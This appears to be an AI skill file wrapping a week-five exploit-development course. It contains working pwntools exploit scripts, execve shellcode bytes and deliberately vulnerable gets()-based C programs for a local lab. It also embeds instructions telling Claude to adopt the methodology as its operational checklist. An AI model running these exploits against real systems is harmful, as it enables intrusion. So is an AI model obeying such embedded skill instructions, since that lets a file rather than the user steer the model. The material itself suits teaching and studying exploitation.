> offensive-basic-exploitation
offensive-basic-exploitation skill from SnailSploit/Claude-Red
curl "https://skillshub.wtf/SnailSploit/Claude-Red/offensive-basic-exploitation?format=md"SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)
Metadata
- Skill Name: basic-exploitation
- Folder: offensive-basic-exploitation
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md
Description
Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.
Trigger Phrases
Use this skill when the conversation involves any of:
basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Week 5: Basic Exploitation (Linux with Mitigations Disabled)
Overview
created by AnotherOne from @Pwn3rzs Telegram channel.
Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.
Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.
Learning Environment:
- CPU arch (default): amd64 (x86-64)
- OS: Ubuntu 24.04 LTS (Linux)
- Compiler Flags: Disable protections (
-fno-stack-protector,-no-pie,-z execstackfor ret2shellcode labs,/GS-) - ASLR: Keep enabled system-wide; disable per-process (
setarch -R) or in GDB (set disable-randomization on) for deterministic labs - Focus: Pure exploitation techniques without bypass complexity
Day 1: Environment Setup and Stack Overflow Fundamentals
- Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
- Activities:
- Reading:
- "Hacking: The Art of Exploitation" 2nd edition, by Jon Erickson - Chapter 0x300: "EXPLOITATION"
- Smashing The Stack For Fun And Profit - Classic paper
- Online Resources:
- Tool Setup:
- Ubuntu VM with protections disabled
- pwntools, pwndbg, ROPgadget
- Exercise:
- Compile and exploit first vulnerable program
- Overwrite return address to execute shellcode
- Reading:
Context: QNAP Stack Overflow (CVE-2024-27130)
- Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by
strcpywithout bounds checking—exactly what we'll be exploiting today. - While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.
Deliverables
- Environment:
~/check_env.shpasses and you recorded its output - Binary:
vuln1built and verified withchecksec - Primitive proof: RIP control demonstrated (controlled crash address)
- Exploit:
exploit1.py(or equivalent) spawns a shell reliably - Notes: brief writeup covering offset, return target, and payload layout
Setting Up the Lab Environment
Ubuntu VM Configuration:
[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.
# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system
# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on # Default in GDB
# (gdb) set disable-randomization off # If you want ASLR during debug
# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary
# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)
# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!
# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf # Remove any persistent config
# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================
sudo apt update
sudo apt install -y \
nasm \
strace \
ltrace \
ruby \
ruby-dev \
libc6-dbg \
checksec \
patchelf
cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget
# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget
# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh
# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39
# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:
cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c
CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln
# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie
# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs
disabled: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-shellcode: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-rop: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-relro-off: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
training-full-relro: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
format-sec: $(SOURCE)
$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
# Show all protections
check:
@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)
clean:
rm -f $(BINARY) *.o
.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE
echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"
[!NOTE] Ubuntu 24.04:
- Uses glibc 2.39 with full safe-linking and removed hooks
- Requires
python3-venvfor pip package installation (PEP 668)- For classic heap techniques, consider using Docker with older Ubuntu
GDB Enhancement Options
Verify Setup:
mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate
# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"
# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
char buf[100];
gets(buf); // Vulnerable: reads from stdin, no bounds check
return 0;
}
EOF
make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing (effectively disabled via -z execstack)
# PIE: No PIE (0x400000)
# Stack: Executable
# RWX: Has RWX segments
# SHSTK: Enabled (Intel CET Shadow Stack - CPU feature, not binary)
# IBT: Enabled (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works
# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]
echo "=== Lab Environment Check ==="
echo ""
# System info
echo "[*] System Information:"
echo " Kernel: $(uname -r)"
echo " glibc: $(ldd --version | head -1 | awk '{print $NF}')"
echo ""
# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
0) echo " WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
1) echo " Partial ASLR (stack only)" ;;
2) echo " Full ASLR enabled (correct for system)" ;;
esac
echo ""
# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
echo "[*] Binary Analysis: $1"
echo " Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
echo ""
fi
# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo " Default: ON (disabled randomization = deterministic addresses)"
echo ""
echo "[+] Environment check complete."
echo " For per-process ASLR disable: setarch x86_64 -R ./binary"
echo " Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh
pwntools Essentials
Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.
ELF() Basics:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *
# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)
# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}") # amd64
print(f"Bits: {elf.bits}") # 64
print(f"Endian: {elf.endian}") # little
print(f"PIE enabled: {elf.pie}") # True/False
print(f"Entry point: {hex(elf.entry)}") # Where execution starts
# Security mitigations (same as checksec)
print(elf.checksec())
# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")
# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}") # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}") # GOT entry
# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")
# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")
Context Configuration (set BEFORE any pwntools operations):
# ~/exploit/2.py
from pwn import *
# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf # Sets arch='amd64', os='linux', endian='little' automatically!
# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'
# Logging level
context.log_level = 'debug' # Show all pwntools output
context.log_level = 'info' # Normal output (default)
context.log_level = 'error' # Only errors
# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef) # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # Unpack 8 bytes to integer
Understanding the Stack (AMD64)
Stack Layout (x86-64 / AMD64):
High Memory
┌─────────────────────┐
│ Command-line args │
├─────────────────────┤
│ Environment vars │
├─────────────────────┤
│ ... │
├─────────────────────┤
│ Stack Frame N │
│ ┌───────────────┐ │
│ │ Locals │ │ ← RSP (Stack Pointer)
│ ├───────────────┤ │
│ │ Saved RBP │ │ ← RBP (Base Pointer)
│ ├───────────────┤ │
│ │ Return Addr │ │ ← Overwrite target! (8 bytes on AMD64)
│ ├───────────────┤ │
│ │ (Args 7+) │ │ (First 6 args in registers!)
│ └───────────────┘ │
├─────────────────────┤
│ Stack Frame N-1 │
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Memory
AMD64 vs x86 Key Differences:
| Feature | x86 (32-bit) | AMD64 (64-bit) |
|---|---|---|
| Register prefix | E (EAX, EBP, ESP) | R (RAX, RBP, RSP) |
| Instruction pointer | EIP | RIP |
| Address size | 4 bytes | 8 bytes |
| Arguments | All on stack | RDI, RSI, RDX, RCX, R8, R9 |
| Return value | EAX | RAX |
| Syscall instruction | int 0x80 | syscall |
| Stack alignment | 4-byte | 16-byte before call |
System V AMD64 ABI Calling Convention:
; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
; RDI = arg1
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8 = arg5
; R9 = arg6
; stack = arg7+ (pushed right-to-left)
; Return value: RAX
; Example: write(1, buf, len)
mov rdi, 1 ; fd = stdout
mov rsi, buf ; buffer address
mov rdx, len ; length
call write
; Syscall convention (slightly different):
; RAX = syscall number
; RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
; syscall instruction (not int 0x80)
Function Call Mechanics (AMD64):
; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function ; Pushes 8-byte return address
; Inside function
function:
push rbp ; Save old base pointer (8 bytes)
mov rbp, rsp ; Set new base pointer
sub rsp, 0x40 ; Allocate space for locals (must maintain 16-byte alignment)
; Function body...
mov rsp, rbp ; Restore stack pointer (or: leave)
pop rbp ; Restore base pointer
ret ; Return (pops return address into RIP)
Buffer Overflow Visualization (AMD64):
Before overflow:
┌──────────────────┐
│ buffer[64] │ ← strcpy writes here
├──────────────────┤
│ saved RBP │ (8 bytes on AMD64)
├──────────────────┤
│ return address │ (8 bytes on AMD64)
└──────────────────┘
After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA... │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA │ ← return address overwritten! (8 bytes)
└──────────────────┘
When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)
First Vulnerable Program
vuln1.c:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // Vulnerable! No bounds checking, allows null bytes
printf("You entered: %s\n", buffer);
}
// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
__asm__("jmp *%rsp"); // This creates a jmp rsp gadget
}
int main() {
printf("Buffer overflow example\n");
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Compile without protections (AMD64):
cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
# -fno-stack-protector \
# -fcf-protection=none \
# -z execstack \
# -no-pie \
# -o vuln1 \
# vuln1.c
#checksec --file=./vuln1
Finding the Offset
Step 1: Cause a Crash:
# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine
python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault
Step 2: Find Exact Offset (using pattern):
#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *
context.arch = 'amd64'
# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)
# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()
In GDB with pwndbg (AMD64):
gdb ./vuln1
# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72
# So offset is 72 bytes (64 buffer + 8 saved RBP)
Verify Offset (AMD64):
# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Build payload
payload = b"A" * 72 # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe) # Overwrite return address (8 bytes)
# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()
In GDB (AMD64):
gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")
# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe <- We control the return address!
Working Exploit for vuln1 (stdin-based)
#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)
Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *
# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64 automatically
# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8 # = 72 bytes to overwrite return address
# ============ EXPLOIT ============
def exploit():
# For LEARNING: Disable ASLR, clean environment for consistent addresses
# For PRODUCTION: Use leaks and relative addressing
# NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
# before input is needed (otherwise printf buffers when piped)
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
# Alternatively, for remote targets:
# p = remote('target.host', 1337)
# Wait for prompt (important for synchronization!)
p.recvuntil(b'Enter input: ')
# ============ FIND GADGET ============
# Our vuln1.c includes a jmp rsp gadget in gadgets()
# Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
# Or use pwntools:
rop = ROP(elf)
try:
jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
except:
# Fallback: search for the bytes
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")
# ============ BUILD PAYLOAD ============
# Shellcode goes AFTER the return address (we jump to RSP)
shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")
payload = b'A' * OFFSET # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Overwrite return address with jmp rsp
payload += shellcode # Shellcode right after return addr
# RSP points here after ret!
log.info(f"Total payload: {len(payload)} bytes")
# ============ SEND PAYLOAD ============
# sendline() sends raw bytes over the pipe - null bytes work fine!
# This is the proper way to deliver exploits
p.sendline(payload)
# ============ GET SHELL ============
log.success("Payload sent! Switching to interactive mode...")
p.interactive()
def debug():
"""Debug mode - attach GDB manually"""
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
log.info("Run the following commands in a SECOND terminal")
log.info("gdb -p $(pidof vuln1)")
log.info("b vulnerable_function")
log.info("c")
pause()
p.recvuntil(b'Enter input: ')
payload = cyclic(200)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
if args.GDB:
debug()
else:
exploit()
# Usage:
# python3 exploit_vuln1.py - Run exploit
# python3 exploit_vuln1.py GDB - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems
Writing Simple Shellcode
Linux AMD64 Shellcode Basics:
Syscall Convention (AMD64):
syscallinstruction triggers syscall (NOTint 0x80!)rax= syscall numberrdi, rsi, rdx, r10, r8, r9= arguments (note: r10 instead of rcx)- Return value in
rax
execve("/bin/sh", NULL, NULL) Shellcode (AMD64):
; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)
section .text
global _start
_start:
; Clear registers
xor rsi, rsi ; rsi = NULL (argv)
xor rdx, rdx ; rdx = NULL (envp)
; Push "/bin/sh" onto stack (with NULL terminator)
xor rax, rax
push rax ; NULL terminator
mov rax, 0x68732f6e69622f2f ; "//bin/sh" in little-endian
push rax
; Set up execve
mov rdi, rsp ; rdi = pointer to "//bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall number)
; Execute
syscall ; Trigger syscall (NOT int 0x80!)
Assemble and Extract Bytes (AMD64):
cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o
# Extract shellcode bytes
objdump -d shellcode -M intel
# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
Result (23 bytes AMD64 shellcode):
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"
Test Shellcode Standalone (AMD64):
#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())
# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!
# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
# f.write(shellcode)
Complete Exploit
exploit1.py (AMD64):
#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)
Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)
Run with: python exploit1.py
"""
from pwn import *
# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64 automatically
offset = 72 # 64 buffer + 8 saved RBP
# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())
def exploit():
# Start process with ASLR disabled using setarch wrapper
# env={} clears environment variables for consistent stack addresses
p = process(['setarch', 'x86_64', '-R', binary], env={})
# Get buffer address by analyzing a crash:
# 1. Generate payload with dummy address:
# python3 -c "from pwn import *; ..." > payload.bin
# 2. Run and get core dump:
# ulimit -c unlimited
# env -i setarch x86_64 -R ./vuln1 < payload.bin
# 3. Analyze core to find actual buffer location:
# gdb ./vuln1 core
# RSP after ret shows where we are on stack
# Buffer = (saved RBP location) - 0x40
#
# Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
# found in GDB need adjustment for standalone execution.
buffer_addr = 0x7fffffffecc0
# Build payload:
# [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
payload = b"\x90" * 16 # NOP sled for tolerance
payload += shellcode # Stack pivot + shellcode
payload += b"A" * (offset - len(payload)) # Padding to fill offset
payload += p64(buffer_addr) # Return to start of buffer (8 bytes)
log.info(f"Shellcode length: {len(shellcode)}")
log.info(f"Total payload: {len(payload)}")
log.info(f"Jumping to: {hex(buffer_addr)}")
# Send payload via stdin
p.sendline(payload)
# Interact with shell
p.interactive()
if __name__ == "__main__":
exploit()
Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):
[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A
jmp rsporcall rspgadget provides a stable return target since RSP points to our controlled data afterret.
#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)
This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64
def find_jmp_rsp():
"""Find a jmp rsp or call rsp gadget in the binary"""
# Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
try:
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
return jmp_rsp
except StopIteration:
pass
try:
call_rsp = next(elf.search(asm('call rsp')))
log.success(f"Found call rsp at {hex(call_rsp)}")
return call_rsp
except StopIteration:
pass
# Try ROPgadget as fallback
log.warning("No jmp/call rsp in binary, trying ROPgadget...")
# Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
return None
def exploit():
offset = 72 # 64 buffer + 8 saved RBP (AMD64)
# Find jmp rsp gadget
jmp_rsp = find_jmp_rsp()
if not jmp_rsp:
log.error("No jmp rsp gadget found! Use fixed address method instead.")
return
# Shellcode (placed AFTER return address)
shellcode = asm(shellcraft.amd64.linux.sh())
# Payload layout:
# [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
# After ret: RIP = jmp_rsp, RSP points to nop sled
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Return to jmp rsp (8 bytes!)
payload += b"\x90" * 16 # NOP sled (RSP lands here)
payload += shellcode # Shellcode executes
# Launch and send via stdin
p = process(binary)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
Debugging Your Exploit
When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.
Method 1: GDB Attach with pwntools
#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *
elf = ELF('./vuln1')
context.binary = elf # Sets arch=amd64
# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})
# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)
# Interact with the process
p.interactive()
Usage:
# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...
# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload
Example Debug Session Output:
After hitting the breakpoint at ret, you'll see something like:
pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00 0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e 0x4141414141414141 <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141 0x4141414141414141 <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe 0x00007ffd11d25d00 <- Return address (overwritten)
Interpreting the output:
- Buffer address:
0x7ffd11d25cd0(first A's at offset 0x8 from 0x7ffd11d25cc8) - Our A's (
0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP - Return address at
0x7ffd11d25d18contains our value0xdeadbeefcafe - Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address
Method 2: Step-by-Step GDB Analysis (AMD64)
# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1
# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run
# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location
# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60
# Find buffer address:
pwndbg> print $rbp - 0x40 # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72
# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)
# For automated testing with payload file:
#pwndbg> run < payload.bin
Common Debugging Scenarios:
| Symptom | Likely Cause | Debug Command |
|---|---|---|
| Crash at wrong address | Offset incorrect | cyclic -l <crash_addr> |
| Crash at correct addr but no shell | Shellcode bad or wrong location | x/20i <shellcode_addr> |
| "Illegal instruction" | Bad shellcode or architecture mismatch | Check context.binary |
| Segfault in libc | Stack alignment (AMD64!) | Add extra ret gadget |
| Works in GDB, fails outside | Environment variable difference | setarch -R ./vuln |
The GDB vs Real Execution Problem:
The stack layout differs between GDB and normal execution due to environment variables:
# See the difference
env | wc -l # Count env vars
env -i ./vuln1 # Run with empty environment
